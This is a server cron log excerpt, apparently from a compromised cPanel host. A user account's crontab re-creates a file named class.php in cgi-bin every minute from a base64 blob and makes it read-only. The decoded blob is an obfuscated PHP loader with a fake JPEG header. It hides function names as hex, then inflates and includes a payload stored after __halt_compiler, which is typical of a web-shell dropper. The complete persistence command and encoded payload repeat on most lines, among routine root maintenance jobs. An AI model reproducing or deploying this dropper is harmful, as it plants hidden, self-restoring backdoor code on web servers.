Nov 14 17:22:01 server CROND[18462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:23:01 server CROND[19325]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:24:01 server CROND[20297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:25:01 server CROND[21184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:25:01 server CROND[21185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:25:01 server CROND[21186]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:26:01 server CROND[22032]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:27:01 server CROND[22898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:27:01 server CROND[22899]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 17:28:01 server CROND[23781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:29:01 server CROND[24612]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:30:01 server CROND[25340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 17:30:01 server CROND[25343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:30:01 server CROND[25341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:30:01 server CROND[25342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:31:01 server CROND[26351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:32:01 server CROND[27216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:33:01 server CROND[28109]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:34:01 server CROND[28860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:35:01 server CROND[29768]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 17:35:01 server CROND[29769]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:35:01 server CROND[29770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:35:01 server CROND[29772]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
